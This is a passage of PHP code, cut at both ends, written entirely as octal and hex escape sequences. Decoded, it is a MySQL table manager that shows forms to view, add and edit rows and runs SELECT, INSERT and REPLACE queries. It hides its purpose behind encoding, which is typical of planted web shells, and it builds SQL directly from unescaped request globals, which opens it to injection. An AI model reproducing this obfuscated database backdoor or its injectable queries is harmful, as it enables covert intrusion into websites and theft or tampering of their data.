7\76\x4e\145\170\164\74\57\141\76\134\156\42\73\12\175\x20\x65\x6c\163\145\xa\40\x20\x65\143\x68\x6f\40\x22\x4e\145\170\164\42\73\12\x65\x63\x68\157\40\x22\40\174\40\x22\x3b\12\x69\146\x28\40\x24\162\157\167\40\76\x20\44\162\157\167\x70\145\x72\160\141\x67\145\40\x29\40\173\xa\40\x20\145\x63\x68\157\x20\x22\74\x69\156\x70\165\164\x20\x74\171\x70\145\75\x74\145\x78\164\x20\x73\x69\172\x65\x3d\64\40\156\x61\x6d\145\75\160\141\x67\x65\x3e\x5c\x6e\42\x3b\12\x20\x20\145\x63\x68\157\40\42\74\151\156\160\x75\x74\x20\x74\x79\x70\x65\75\x73\x75\x62\x6d\x69\164\x20\x76\x61\x6c\165\145\75\47\x47\x6f\47\76\134\156\x22\x3b\xa\x7d\xa\x65\143\150\x6f\40\42\74\57\146\x6f\x72\x6d\76\134\156\x22\x3b\12\x65\x63\x68\x6f\x20\42\x3c\57\x66\x6f\x6e\x74\76\x5c\156\x22\x3b\xa\x7d\xa\12\146\165\x6e\143\x74\151\x6f\156\40\155\141\x6e\x61\147\145\104\141\x74\x61\x28\40\44\143\155\144\x20\51\x20\x7b\xa\147\x6c\x6f\x62\141\154\x20\44\155\171\x73\x71\x6c\x48\141\156\144\154\145\54\x20\x24\x64\x62\x6e\141\155\x65\54\40\44\x74\x61\142\x6c\x65\x6e\x61\x6d\x65\x2c\x20\44\120\x48\x50\x5f\123\x45\114\x46\73\xa\12\x69\146\x28\x20\x24\143\155\x64\x20\75\x3d\40\x22\141\144\144\42\x20\x29\12\x20\40\x65\x63\x68\157\40\x22\74\150\61\76\x41\144\x64\40\104\141\x74\x61\x3c\57\x68\x31\x3e\134\x6e\x22\x3b\12\145\154\163\145\x20\x69\x66\x28\x20\x24\x63\155\x64\40\x3d\75\x20\42\x65\144\151\x74\42\x20\51\40\x7b\xa\x20\x20\x65\x63\x68\157\40\x22\74\x68\61\76\x45\x64\x69\164\x20\x44\x61\164\141\x3c\x2f\x68\61\76\134\156\42\x3b\12\x20\x20\44\160\122\145\x73\165\154\164\40\x3d\x20\155\171\163\161\154\x5f\154\151\163\164\x5f\x66\x69\145\154\x64\163\50\x20\44\x64\142\x6e\141\x6d\x65\54\40\44\x74\x61\142\154\145\156\x61\155\145\x20\51\x3b\xa\40\x20\x24\x6e\x75\x6d\40\75\40\x6d\x79\163\161\x6c\x5f\156\165\x6d\x5f\146\x69\145\154\x64\163\x28\40\44\x70\122\145\163\165\154\164\x20\x29\x3b\12\xa\40\40\x24\x6b\145\171\x20\75\40\42\x22\x3b\xa\40\x20\146\157\162\50\40\44\x69\40\x3d\40\x30\x3b\x20\x24\x69\40\x3c\40\x24\156\x75\155\73\40\44\x69\x2b\53\40\x29\40\173\12\x20\x20\x24\x66\x69\x65\154\x64\40\75\40\155\x79\x73\161\154\137\x66\x65\x74\x63\x68\x5f\146\x69\145\x6c\x64\50\40\44\160\122\145\x73\x75\154\x74\54\x20\x24\x69\40\51\73\12\x20\40\x69\146\x28\40\x24\x66\x69\145\154\x64\55\76\x70\162\x69\155\141\x72\x79\137\x6b\x65\x79\x20\75\75\x20\x31\40\51\xa\40\x20\40\40\151\146\x28\40\x24\x66\151\x65\154\x64\x2d\76\x6e\x75\155\x65\x72\x69\x63\40\x3d\x3d\x20\61\40\51\12\40\x20\40\40\x24\x6b\145\x79\40\x2e\75\x20\44\x66\x69\x65\154\x64\x2d\76\x6e\x61\x6d\145\40\56\x20\x22\75\42\40\x2e\40\44\107\114\x4f\x42\101\x4c\123\133\x24\146\x69\x65\154\x64\x2d\76\156\x61\155\145\135\40\x2e\x20\x22\40\x41\x4e\104\x20\x22\73\12\40\40\x20\x20\145\x6c\163\145\xa\40\40\x20\x20\44\x6b\145\171\40\x2e\x3d\x20\x24\146\151\x65\x6c\144\55\76\156\141\x6d\145\x20\56\40\42\75\47\x22\x20\56\x20\x24\107\x4c\117\x42\x41\114\123\x5b\x24\x66\151\x65\x6c\144\55\x3e\x6e\141\155\145\135\x20\56\x20\x22\x27\40\x41\x4e\104\40\x22\x3b\xa\x20\x20\175\xa\40\x20\44\x6b\x65\171\40\75\x20\x73\165\x62\163\x74\x72\50\40\x24\153\145\x79\54\40\x30\54\40\163\x74\x72\x6c\145\x6e\50\44\153\x65\x79\51\55\64\x20\51\x3b\xa\12\40\x20\155\x79\163\x71\x6c\137\x73\x65\x6c\145\x63\x74\x5f\144\x62\50\40\x24\x64\142\x6e\141\x6d\145\54\x20\x24\x6d\171\x73\161\x6c\110\x61\x6e\x64\154\x65\x20\x29\73\xa\40\x20\44\x70\x52\145\163\x75\x6c\164\x20\75\40\155\171\x73\x71\154\137\161\165\145\162\171\50\x20\44\161\x75\145\x72\x79\123\x74\162\40\x3d\x20\x20\x22\123\105\x4c\105\x43\124\x20\x2a\x20\106\122\117\115\40\44\164\x61\142\154\145\156\x61\155\145\40\x57\110\x45\x52\x45\40\x24\x6b\x65\x79\42\54\x20\44\x6d\171\163\161\x6c\x48\x61\x6e\144\154\145\x20\x29\x3b\12\40\40\44\144\x61\x74\x61\x20\x3d\40\155\171\x73\161\x6c\x5f\x66\x65\164\x63\150\137\141\x72\x72\141\171\50\40\44\x70\x52\145\163\x75\154\x74\x20\51\73\12\175\12\xa\x65\x63\x68\157\40\42\x3c\160\40\x63\154\x61\163\x73\x3d\x6c\x6f\143\141\164\151\x6f\x6e\x3e\x24\144\x62\x6e\141\155\x65\40\46\147\x74\73\x20\44\164\x61\x62\x6c\145\156\x61\155\145\x3c\57\x70\x3e\x5c\x6e\x22\73\12\12\x65\x63\150\157\40\42\74\146\x6f\162\x6d\40\141\143\164\x69\x6f\x6e\x3d\47\x24\x50\x48\120\137\x53\105\x4c\x46\x27\40\x6d\145\164\x68\157\144\75\x70\157\x73\x74\76\134\x6e\x22\x3b\xa\151\x66\x28\x20\44\143\155\x64\x20\75\x3d\40\x22\x61\x64\144\42\x20\x29\xa\40\x20\x65\143\150\x6f\40\x22\x3c\x69\x6e\x70\x75\164\x20\164\x79\160\x65\75\x68\x69\x64\x64\x65\x6e\x20\156\x61\x6d\145\75\x61\x63\x74\x69\157\156\x20\x76\x61\154\x75\145\75\x61\144\144\x44\x61\x74\x61\137\163\x75\142\155\151\164\76\x5c\156\x22\73\12\x65\x6c\163\145\x20\151\146\x28\x20\44\x63\x6d\x64\x20\75\75\x20\x22\145\x64\x69\164\x22\x20\x29\12\40\x20\145\143\150\x6f\40\42\74\x69\156\x70\x75\x74\40\x74\171\x70\145\75\150\151\x64\x64\x65\x6e\x20\156\141\155\145\75\141\x63\164\x69\x6f\156\x20\x76\141\154\165\x65\75\145\144\x69\164\104\x61\x74\x61\x5f\x73\165\142\x6d\x69\x74\76\134\x6e\x22\73\12\x65\143\150\x6f\40\42\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\x65\x3d\150\x69\x64\144\x65\156\x20\156\141\x6d\145\x3d\144\142\156\x61\x6d\x65\x20\166\x61\x6c\x75\x65\75\x24\144\x62\x6e\141\155\x65\76\134\x6e\42\x3b\12\145\x63\x68\x6f\40\42\x3c\x69\x6e\160\165\x74\x20\164\171\x70\145\x3d\x68\151\144\144\145\156\40\156\x61\x6d\x65\75\x74\141\x62\154\145\156\x61\x6d\145\x20\166\141\x6c\x75\145\75\44\164\x61\x62\x6c\x65\156\141\x6d\x65\76\134\156\x22\73\xa\x65\143\x68\x6f\40\42\74\x74\x61\x62\x6c\145\40\143\145\154\154\163\x70\141\x63\x69\x6e\147\75\x31\x20\x63\145\x6c\x6c\160\x61\144\144\x69\x6e\x67\75\62\76\134\x6e\x22\x3b\12\145\143\x68\x6f\40\42\x3c\164\162\76\134\x6e\42\x3b\12\145\143\150\157\x20\42\74\x74\x68\76\116\141\155\x65\74\57\x74\150\x3e\x5c\x6e\42\x3b\12\x65\x63\150\157\x20\42\74\164\x68\x3e\x54\x79\160\145\74\57\x74\x68\x3e\x5c\x6e\x22\x3b\12\x65\x63\150\157\x20\42\74\164\x68\76\106\x75\156\x63\x74\x69\x6f\156\74\x2f\x74\x68\76\134\x6e\x22\x3b\xa\145\143\x68\157\40\42\74\x74\x68\x3e\x44\x61\x74\x61\x3c\x2f\164\x68\76\x5c\x6e\x22\x3b\xa\145\x63\x68\157\x20\42\x3c\57\164\162\x3e\134\x6e\42\x3b\xa\12\x24\x70\x52\x65\163\165\x6c\x74\40\x3d\x20\x6d\171\x73\161\154\137\x64\142\137\x71\165\145\162\x79\50\x20\x24\144\142\x6e\141\x6d\x65\x2c\x20\x22\123\x48\117\127\x20\146\151\x65\154\x64\163\40\106\x52\117\x4d\40\x24\x74\x61\142\154\x65\x6e\x61\x6d\x65\x22\40\51\73\xa\44\x6e\x75\x6d\x20\x3d\x20\155\x79\x73\x71\x6c\137\156\165\x6d\x5f\x72\x6f\x77\x73\x28\40\x24\160\x52\x65\163\x75\x6c\164\x20\51\x3b\12\xa\44\x70\x52\145\x73\165\154\164\x4c\x65\x6e\40\75\x20\155\171\x73\161\154\137\154\151\x73\164\x5f\x66\x69\x65\154\x64\x73\x28\x20\44\x64\142\x6e\x61\155\x65\54\40\x24\x74\x61\x62\154\x65\156\x61\x6d\x65\40\x29\x3b\xa\xa\146\157\162\x28\40\x24\151\40\75\40\x30\73\40\x24\151\x20\x3c\40\44\156\165\155\73\40\44\151\x2b\53\x20\x29\x20\173\12\40\x20\44\146\x69\145\x6c\144\40\75\x20\155\171\x73\161\154\x5f\146\x65\164\143\150\137\141\162\162\141\171\x28\x20\x24\x70\x52\x65\163\x75\154\164\x20\51\73\xa\x20\x20\44\x66\x69\145\154\144\156\141\155\145\40\x3d\40\x24\x66\x69\145\154\144\x5b\42\106\x69\x65\x6c\144\x22\x5d\x3b\xa\40\40\44\x66\x69\145\154\144\x74\171\x70\145\x20\75\x20\x24\146\x69\x65\154\x64\x5b\42\124\171\x70\x65\x22\x5d\73\12\x20\x20\44\x6c\x65\156\x20\x3d\x20\x6d\171\163\x71\154\x5f\146\x69\145\154\x64\x5f\154\x65\x6e\50\40\44\x70\122\x65\163\165\x6c\164\114\x65\x6e\54\40\44\x69\x20\51\73\xa\xa\x20\40\145\143\x68\x6f\x20\42\74\164\x72\76\42\73\12\40\40\x65\143\150\x6f\40\42\x3c\x74\x64\x3e\44\x66\151\x65\154\x64\156\141\155\145\x3c\x2f\x74\x64\x3e\x22\x3b\12\40\x20\x65\143\150\157\x20\42\x3c\x74\144\76\42\56\44\x66\151\145\x6c\144\x5b\x22\x54\x79\160\145\42\135\x2e\x22\74\57\x74\144\76\x22\73\xa\x20\x20\x65\143\150\157\40\x22\x3c\164\x64\76\x5c\156\x22\x3b\12\x20\40\145\x63\x68\x6f\40\42\74\163\x65\154\145\x63\x74\40\x6e\x61\155\145\x3d\44\173\146\x69\x65\x6c\x64\x6e\x61\x6d\x65\175\137\x66\165\x6e\x63\164\151\157\x6e\76\x5c\x6e\42\73\xa\40\x20\145\x63\150\x6f\40\42\74\157\160\164\x69\x6f\x6e\76\134\x6e\42\x3b\12\40\x20\x65\143\150\x6f\40\x22\74\x6f\160\x74\151\x6f\156\x3e\x41\123\x43\x49\x49\x5c\156\42\x3b\xa\40\x20\145\x63\x68\x6f\40\x22\x3c\x6f\160\x74\x69\x6f\156\x3e\x43\x48\x41\122\x5c\x6e\42\73\12\x20\x20\x65\x63\x68\x6f\40\x22\x3c\x6f\160\x74\151\x6f\156\x3e\x53\117\x55\x4e\104\x45\x58\134\156\x22\73\xa\40\40\145\143\150\157\x20\x22\x3c\x6f\160\x74\x69\157\156\x3e\x43\125\x52\104\x41\124\x45\134\x6e\42\x3b\12\x20\x20\x65\143\150\x6f\40\x22\x3c\157\x70\164\151\157\156\76\103\125\122\x54\x49\x4d\x45\x5c\156\42\73\12\x20\40\x65\x63\x68\157\40\42\74\x6f\160\x74\151\x6f\156\76\106\x52\x4f\x4d\x5f\x44\101\x59\x53\134\x6e\x22\x3b\12\x20\40\145\x63\x68\x6f\40\42\x3c\x6f\160\x74\x69\157\156\x3e\106\x52\x4f\115\x5f\x55\x4e\111\x58\x54\111\115\x45\x5c\156\x22\73\xa\x20\40\x65\x63\150\x6f\x20\42\74\157\160\x74\151\x6f\156\76\116\117\x57\134\156\x22\x3b\12\x20\40\145\x63\150\157\40\x22\x3c\157\160\164\x69\x6f\156\x3e\x50\x41\123\x53\x57\117\122\104\x5c\156\x22\73\12\40\x20\x65\143\150\157\40\42\74\157\160\164\x69\157\x6e\x3e\x50\105\122\x49\x4f\x44\137\101\x44\104\x5c\x6e\x22\x3b\xa\40\40\145\x63\x68\x6f\x20\42\x3c\157\160\x74\151\157\156\76\x50\x45\122\x49\117\104\x5f\104\111\106\x46\134\156\42\x3b\12\x20\x20\x65\143\x68\157\x20\x22\74\157\160\164\151\x6f\156\76\124\117\137\x44\x41\x59\x53\x5c\x6e\42\73\xa\x20\40\x65\x63\150\x6f\40\x22\x3c\x6f\160\x74\151\x6f\156\x3e\125\123\x45\122\134\x6e\42\73\12\40\40\145\x63\x68\157\40\x22\74\157\160\164\151\157\156\76\x57\105\x45\113\104\101\131\134\156\42\73\12\x20\x20\145\143\150\157\x20\42\x3c\157\x70\x74\151\x6f\156\x3e\x52\101\x4e\104\134\x6e\x22\x3b\xa\x20\40\145\143\x68\157\x20\42\x3c\x2f\x73\145\154\145\143\x74\x3e\134\x6e\x22\x3b\xa\x20\x20\x65\143\150\157\x20\x22\74\57\164\x64\76\134\x6e\x22\73\xa\40\40\x24\166\x61\154\x75\145\x20\x3d\40\x68\x74\155\154\x73\x70\x65\x63\151\141\x6c\x63\150\x61\162\x73\x28\44\x64\141\x74\x61\x5b\44\151\x5d\x29\73\12\x20\x20\151\146\50\x20\x24\x63\x6d\144\x20\75\75\x20\42\x61\x64\x64\x22\40\51\x20\x7b\12\x20\40\x24\x74\x79\160\145\x20\x3d\x20\x73\x74\162\164\157\153\x28\x20\44\x66\151\x65\154\144\x74\x79\160\145\x2c\x20\42\x20\50\x2c\51\x5c\156\42\40\x29\73\xa\40\40\x69\x66\x28\x20\x24\164\171\x70\x65\40\x3d\75\40\42\x65\156\165\x6d\x22\40\174\174\40\44\x74\171\160\x65\40\x3d\x3d\x20\x22\163\145\x74\42\x20\x29\40\x7b\12\x20\40\40\x20\145\143\x68\x6f\40\42\x3c\164\x64\x3e\134\156\x22\x3b\xa\x20\40\x20\40\151\x66\x28\40\x24\x74\x79\x70\145\40\x3d\x3d\40\42\145\156\165\x6d\x22\x20\51\xa\x20\x20\x20\x20\x65\143\150\x6f\40\x22\74\163\145\154\x65\143\164\40\156\x61\155\145\75\44\146\x69\145\154\x64\x6e\x61\155\145\76\x5c\x6e\x22\x3b\xa\40\40\x20\x20\x65\x6c\163\x65\40\151\x66\x28\40\44\x74\x79\x70\145\x20\x3d\75\x20\x22\163\145\164\x22\40\x29\12\40\x20\40\40\x65\143\150\x6f\40\42\74\163\x65\x6c\145\x63\164\40\156\141\x6d\x65\x3d\x24\x66\x69\145\x6c\144\x6e\x61\x6d\x65\x20\x73\x69\172\145\75\x34\x20\155\x75\x6c\x74\151\160\154\145\76\x5c\156\x22\73\12\40\x20\x20\x20\145\x63\x68\157\40\163\x74\162\164\157\x6b\50\x20\42\x27\42\x20\51\73\xa\40\x20\40\40\167\150\151\x6c\x65\x28\x20\44\x73\164\x72\x20\x3d\x20\x73\164\162\164\x6f\153\50\40\x22\x27\42\x20\x29\x20\x29\x20\173\12\x20\40\x20\x20\x65\143\x68\157\40\42\74\157\x70\164\151\157\156\x3e\x24\x73\x74\162\134\156\42\x3b\xa\x20\40\x20\40\x73\164\x72\x74\157\x6b\50\40\x22\x27\x22\40\51\x3b\xa\40\x20\x20\40\x7d\12\x20\40\40\x20\x65\143\x68\x6f\x20\42\x3c\x2f\x73\x65\154\x65\143\164\x3e\x5c\x6e\42\73\xa\40\x20\x20\40\145\x63\150\x6f\40\x22\74\x2f\x74\144\x3e\134\x6e\42\73\12\40\40\x7d\40\145\154\163\145\x20\x7b\12\x20\x20\40\x20\151\x66\50\40\x24\x6c\x65\x6e\x20\74\x20\64\x30\x20\51\xa\40\40\x20\x20\145\143\x68\x6f\40\x22\x3c\x74\144\76\74\151\156\x70\x75\164\40\164\171\x70\x65\75\x74\x65\170\164\40\x73\x69\172\x65\x3d\x34\60\x20\155\x61\x78\x6c\145\156\x67\x74\x68\75\x24\x6c\x65\156\40\156\x61\155\x65\x3d\44\146\x69\145\154\x64\156\141\x6d\x65\x3e\x3c\x2f\164\x64\76\x5c\x6e\42\x3b\12\40\x20\x20\x20\x65\154\x73\145\xa\40\x20\40\x20\145\143\150\157\x20\x22\x3c\164\144\76\74\164\145\170\x74\x61\162\x65\141\40\143\157\154\163\75\64\x30\x20\x72\x6f\167\x73\x3d\63\x20\155\x61\x78\x6c\145\x6e\147\x74\x68\x3d\x24\x6c\145\x6e\x20\x6e\141\155\x65\x3d\44\146\151\x65\x6c\x64\x6e\x61\155\145\x3e\x3c\x2f\x74\x65\x78\x74\x61\x72\x65\x61\x3e\x5c\156\x22\x3b\12\40\40\x7d\12\x20\x20\x7d\40\x65\154\163\145\40\151\x66\x28\x20\44\143\155\x64\x20\75\x3d\x20\42\145\x64\x69\x74\42\x20\x29\x20\x7b\xa\40\40\44\x74\x79\160\145\40\75\40\163\164\x72\x74\x6f\x6b\50\x20\x24\x66\x69\145\x6c\144\164\171\160\145\54\x20\42\40\50\x2c\51\x5c\156\x22\x20\x29\x3b\xa\40\40\x69\x66\50\40\x24\164\x79\160\145\x20\75\x3d\x20\42\x65\156\165\155\x22\x20\x7c\x7c\40\44\x74\x79\160\x65\x20\x3d\x3d\40\42\x73\145\x74\x22\x20\51\x20\173\12\40\40\x20\40\x65\143\x68\157\40\x22\x3c\x74\x64\76\x5c\156\x22\x3b\xa\x20\40\40\40\x69\146\50\40\x24\x74\x79\160\x65\40\75\75\x20\42\x65\x6e\x75\155\x22\40\x29\12\x20\x20\x20\40\145\x63\x68\x6f\x20\x22\74\x73\145\x6c\145\143\x74\40\156\x61\155\145\75\x24\146\x69\145\x6c\144\x6e\141\x6d\145\76\134\156\42\x3b\12\40\x20\40\40\x65\x6c\163\145\x20\x69\x66\x28\x20\44\164\x79\160\x65\x20\x3d\75\40\42\x73\145\164\42\40\x29\12\x20\40\x20\x20\145\143\150\157\40\42\74\163\145\154\x65\x63\164\40\x6e\x61\155\x65\x3d\44\x66\x69\145\154\144\156\x61\155\145\x20\x73\151\172\145\75\x34\x20\x6d\165\x6c\x74\151\160\154\x65\76\x5c\156\42\73\xa\40\x20\x20\40\x65\143\150\157\x20\x73\x74\162\164\x6f\153\50\x20\42\x27\x22\x20\x29\73\12\x20\x20\40\x20\167\150\151\154\145\50\40\44\x73\164\x72\40\75\40\x73\x74\162\x74\157\153\50\x20\x22\x27\42\x20\51\x20\x29\40\173\12\40\x20\40\40\151\146\x28\x20\44\166\x61\x6c\165\145\40\x3d\75\40\x24\x73\x74\x72\40\51\xa\40\x20\40\x20\40\x20\145\143\x68\157\x20\42\x3c\157\x70\x74\x69\x6f\156\x20\x73\x65\x6c\145\143\x74\x65\144\x3e\44\x73\x74\x72\134\156\42\73\12\40\40\40\40\145\154\163\x65\12\x20\40\x20\40\40\40\145\143\150\157\x20\42\74\x6f\160\x74\151\157\x6e\76\x24\x73\164\162\134\156\42\x3b\12\40\40\x20\x20\x73\164\x72\x74\x6f\x6b\x28\x20\42\47\42\x20\x29\x3b\12\x20\x20\x20\40\x7d\12\40\x20\40\x20\145\143\x68\157\x20\x22\74\x2f\163\145\x6c\x65\143\164\x3e\x5c\156\x22\73\xa\40\40\x20\x20\145\143\x68\x6f\40\x22\74\x2f\164\x64\76\x5c\156\42\x3b\12\40\40\175\40\145\154\163\x65\40\x7b\xa\40\40\x20\40\x69\146\x28\40\44\154\x65\156\x20\x3c\x20\64\60\40\x29\xa\40\40\x20\x20\145\143\x68\x6f\x20\42\x3c\x74\144\76\x3c\151\156\160\165\x74\x20\164\171\x70\x65\75\x74\145\170\164\x20\163\151\172\x65\75\x34\x30\40\x6d\141\x78\154\x65\x6e\x67\x74\150\x3d\x24\x6c\x65\x6e\x20\156\x61\x6d\145\x3d\x24\x66\x69\x65\x6c\144\x6e\141\155\145\x20\166\141\x6c\x75\145\x3d\x5c\x22\44\166\x61\154\165\x65\134\42\x3e\x3c\x2f\x74\x64\76\134\156\x22\x3b\12\x20\x20\40\40\x65\x6c\x73\145\12\x20\x20\40\x20\145\143\150\157\x20\42\74\164\x64\x3e\x3c\x74\145\170\x74\141\x72\145\x61\40\143\x6f\x6c\163\75\64\60\40\162\157\x77\x73\75\x33\40\x6d\141\170\154\145\x6e\147\164\150\x3d\44\x6c\145\x6e\40\x6e\141\x6d\x65\75\x24\146\151\x65\154\144\156\x61\x6d\145\x3e\44\x76\x61\x6c\165\x65\74\x2f\164\145\x78\x74\x61\162\x65\x61\x3e\134\x6e\x22\73\12\40\40\175\12\40\x20\175\xa\x20\40\145\x63\150\x6f\40\x22\x3c\57\164\162\x3e\42\x3b\12\175\12\145\143\150\157\x20\x22\x3c\x2f\164\x61\142\x6c\145\x3e\74\160\x3e\134\x6e\x22\x3b\xa\151\x66\50\x20\x24\143\155\144\40\75\75\40\42\141\144\x64\x22\40\51\xa\40\x20\x65\143\150\157\x20\42\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x73\165\x62\x6d\151\x74\40\166\x61\x6c\165\145\x3d\47\101\x64\144\40\x44\141\x74\141\x27\76\134\156\42\x3b\12\x65\154\163\x65\x20\151\146\50\x20\x24\143\x6d\x64\40\x3d\75\x20\x22\145\144\151\164\42\40\51\12\x20\x20\x65\143\150\x6f\x20\x22\74\151\156\160\x75\164\x20\x74\171\x70\145\x3d\x73\x75\x62\x6d\151\164\40\166\x61\x6c\x75\145\75\x27\x45\x64\151\x74\40\104\141\164\141\47\76\x5c\156\42\73\xa\145\x63\x68\x6f\40\x22\x3c\151\x6e\x70\x75\164\x20\164\171\160\145\75\x62\x75\164\x74\157\156\x20\x76\x61\x6c\165\145\x3d\x27\x43\141\x6e\143\x65\154\47\40\157\x6e\x43\x6c\x69\x63\153\75\47\150\151\x73\x74\157\x72\171\x2e\x62\141\x63\x6b\50\51\47\76\134\x6e\42\73\12\x65\143\150\x6f\40\x22\x3c\x2f\x66\157\162\155\76\x5c\x6e\42\x3b\12\175\xa\xa\146\165\x6e\x63\x74\151\x6f\156\x20\x6d\x61\156\x61\x67\145\104\141\x74\x61\137\x73\x75\142\x6d\151\164\50\40\x24\x63\x6d\x64\40\51\40\173\xa\147\x6c\157\x62\141\154\x20\x24\x6d\171\x73\x71\154\110\141\x6e\144\x6c\145\x2c\40\x24\x64\x62\156\x61\x6d\145\x2c\40\x24\164\141\142\154\x65\x6e\141\155\145\x2c\x20\44\x66\151\145\154\144\156\x61\x6d\x65\x2c\x20\44\x50\110\x50\137\x53\105\114\106\x2c\40\x24\x71\x75\x65\x72\171\x53\164\x72\54\x20\x24\145\x72\x72\115\163\x67\x3b\12\12\44\160\122\x65\163\x75\154\164\40\75\x20\x6d\x79\163\x71\x6c\x5f\154\x69\163\x74\x5f\146\151\x65\154\x64\x73\x28\40\x24\x64\142\x6e\141\x6d\x65\54\40\44\x74\x61\x62\x6c\145\x6e\141\155\145\x20\x29\73\12\x24\156\x75\155\x20\x3d\x20\x6d\x79\x73\x71\x6c\137\156\x75\x6d\x5f\x66\151\x65\154\x64\163\x28\x20\44\160\122\145\x73\x75\x6c\x74\x20\51\73\xa\xa\155\171\163\161\154\137\x73\145\x6c\145\143\x74\137\144\x62\50\x20\x24\144\x62\156\141\x6d\145\54\40\x24\x6d\x79\163\161\x6c\x48\141\x6e\x64\x6c\145\40\x29\73\12\x69\146\x28\40\44\x63\155\x64\x20\75\x3d\x20\x22\141\x64\144\x22\x20\x29\xa\x20\x20\44\161\x75\x65\162\171\x53\x74\x72\x20\x3d\40\42\111\x4e\x53\105\122\x54\40\x49\116\x54\x4f\40\44\164\x61\x62\154\145\156\x61\x6d\x65\x20\126\x41\114\125\x45\x53\x20\x28\42\x3b\12\145\154\163\x65\x20\x69\x66\50\x20\x24\x63\x6d\x64\40\75\75\x20\x22\145\x64\x69\x74\42\x20\x29\xa\x20\40\x24\x71\x75\145\162\x79\123\164\162\40\x3d\x20\x22\122\105\120\114\101\x43\105\40\111\116\x54\x4f\x20\x24\x74\x61\142\x6c\x65\156\x61\155\145\x20\126\101\114\125\x45\x53\40\50\42\x3b\12\x66\157\162\50\40\x24\151\40\x3d\x20\x30\x3b\40\x24\151\40\x3c\x20\x24\156\x75\x6d\x2d\61\x3b\x20\44\x69\x2b\53\x20\51\40\x7b\12\x20\40\x24\x66\151\145\154\x64\40\x3d\x20\155\x79\163\161\x6c\x5f\146\145\x74\x63\150\x5f\146\x69\145\x6c\144\50\x20\x24\x70\x52\145\x73\x75\x6c\x74\40\51\x3b\xa\40\40\44\x66\x75\x6e\x63\40\x3d\x20\44\107\114\x4f\102\101\x4c\123\133\x24\x66\151\x65\154\x64\x2d\76\x6e\141\x6d\145\56\42\x5f\x66\165\156\143\x74\151\x6f\156\42\x5d\73\12\x20\40\151\x66\50\40\x24\146\165\x6e\x63\40\x21\x3d\x20\42\42\x20\x29\xa\x20\x20\44\x71\165\x65\162\x79\123\164\x72\x20\56\75\x20\42\x20\x24\146\165\x6e\x63\x28\42\x3b\xa\x20\40\x69\x66\x28\40\44\x66\x69\145\154\x64\x2d\76\x6e\x75\x6d\145\162\151\143\x20\x3d\x3d\40\61\x20\51\40\x7b\xa\x20\x20\x24\161\x75\x65\x72\171\x53\x74\x72\40\56\x3d\40\44\x47\114\x4f\102\x41\114\x53\133\x24\146\151\x65\x6c\144\x2d\76\x6e\x61\x6d\x65\x5d\x3b\xa\x20\x20\151\146\x28\x20\x24\146\165\156\x63\x20\41\75\x20\42\42\40\x29\xa\40\x20\x20\x20\44\x71\x75\x65\162\171\123\x74\x72\40\x2e\75\40\42\x29\x2c\42\73\xa\40\40\145\154\x73\145\xa\x20\x20\x20\40\44\x71\165\145\x72\171\x53\164\x72\40\56\75\x20\42\x2c\42\x3b\xa\40\x20\175\40\145\154\x73\145\x20\x7b\12\40\40\x24\161\165\145\162\x79\123\x74\162\40\56\x3d\40\42\x27\x22\40\56\40\44\107\114\117\102\x41\114\123\133\x24\x66\x69\x65\154\144\x2d\76\156\141\x6d\145\x5d\x3b\12\40\x20\151\x66\50\x20\44\x66\165\x6e\143\40\x21\75\40\x22\x22\40\51\12\x20\40\x20\40\x24\161\165\145\x72\x79\123\x74\x72\40\56\75\40\x22\47\51\x2c\x22\73\xa\40\40\145\x6c\x73\145\12\x20\40\x20\40\x24\x71\x75\145\x72\171\123\x74\x72\40\x2e\75\40\42\x27\54\42\x3b\12\40\40\x7d\12\175\xa\44\x66\151\145\154\144\x20\x3d\40\155\x79\163\x71\154\x5f\146\x65\164\x63\x68\x5f\146\151\x65\x6c\144\x28\40\x24\160\x52\145\163\165\x6c\x74\x20\51\73\12\151\146\x28\x20\44\x66\151\x65\x6c\144\x2d\76\156\165\x6d\x65\162\x69\143\40\75\75\40\x31\40\51\xa\40\x20\44\x71\x75\145\x72\171\123\x74\162\40\56\75\40\44\x47\x4c\117\102\101\114\123\133\44\x66\151\145\x6c\x64\55\76\156\141\155\x65\135\x20\56\x20\x22\x29\42\73\12\145\x6c\x73\x65\xa\40\40\44\x71\165\x65\x72\x79\x53\x74\x72\x20\56\x3d\x20\42\x27\x22\x20\56\40\44\x47\x4c\x4f\102\x41\x4c\123\133\44\x66\x69\145\154\144\55\76\156\141\x6d\145\x5d\40\x2e\40\x22\47\51\42\x3b\xa\xa\155\171\163\x71\x6c\137\x71\x75\x65\x72\x79\x28\40\x24\x71\x75\145\x72\171\123\x74\162\40\54\x20\x24\155\171\163\161\154\110\141\156\144\x6c\145\40\x29\73\xa\44\x65\x72\x72\x4d\163\x67\x20\75\40\155\x79\163\x71\x6c\137\145\162\x72\157\162\x28\51\x3b\12\xa\x76\x69\145\167\104\x61\164\141\x28\40\x22\42\x20\51\73\12\175\12\12\146\x75\156\143\164\151\x6f\x6e\x20\x64\x65\x6c\145\164\145\104\x61\164\x61\50\51\x20\173\12\147\x6c\157\142\x61\154\x20\x24\x6d\171\x73\161\154\x48\x61\156\144\154\x65\x2c\40\44\x64\x62\x6e\141\155\145\54\40\x24\164\141\x62\x6c\x65\156\141\155\145\54\x20\44\146\151\145\x6c\x64\156\x61\155\145\54\40\44\x50\110\120\x5f\123\x45\114\106\x2c\x20\x24\x71\165\x65\162\x79\x53\164\x72\x2c\x20\44\145\x72\x72\115\x73\x67\x3b\xa\xa\x24\160\x52\145\x73\165\x6c\x74\x20\75\x20\x6d\171\x73\161\154\137\154\x69\163\x74\137\146\x69\145\x6c\x64\x73\50\40\44\x64\142\156\141\155\x65\x2c\x20\x24\x74\x61\142\x6c\145\x6e\141\155\145\x20\51\73\xa\x24\x6e\x75\x6d\40\75\x20\155\171\163\x71\154\137\x6e\165\x6d\x5f\146\x69\145\x6c\144\x73\50\x20\44\160\x52\145\163\x75\154\164\40\x29\x3b\xa\xa\44\x6b\145\x79\x20\x3d\x20\42\42\x3b\12\x66\x6f\162\50\x20\44\x69\x20\75\x20\x30\x3b\40\x24\x69\40\74\x20\x24\156\x75\155\73\40\44\151\x2b\53\x20\x29\x20\x7b\12\40\40\44\x66\x69\x65\x6c\x64\x20\x3d\40\x6d\171\163\161\x6c\x5f\146\145\x74\143\150\137\x66\151\145\154\x64\50\40\x24\x70\x52\145\163\165\x6c\x74\54\x20\x24\x69\x20\51\73\xa\x20\x20\151\x66\50\40\x24\x66\x69\145\154\x64\x2d\x3e\1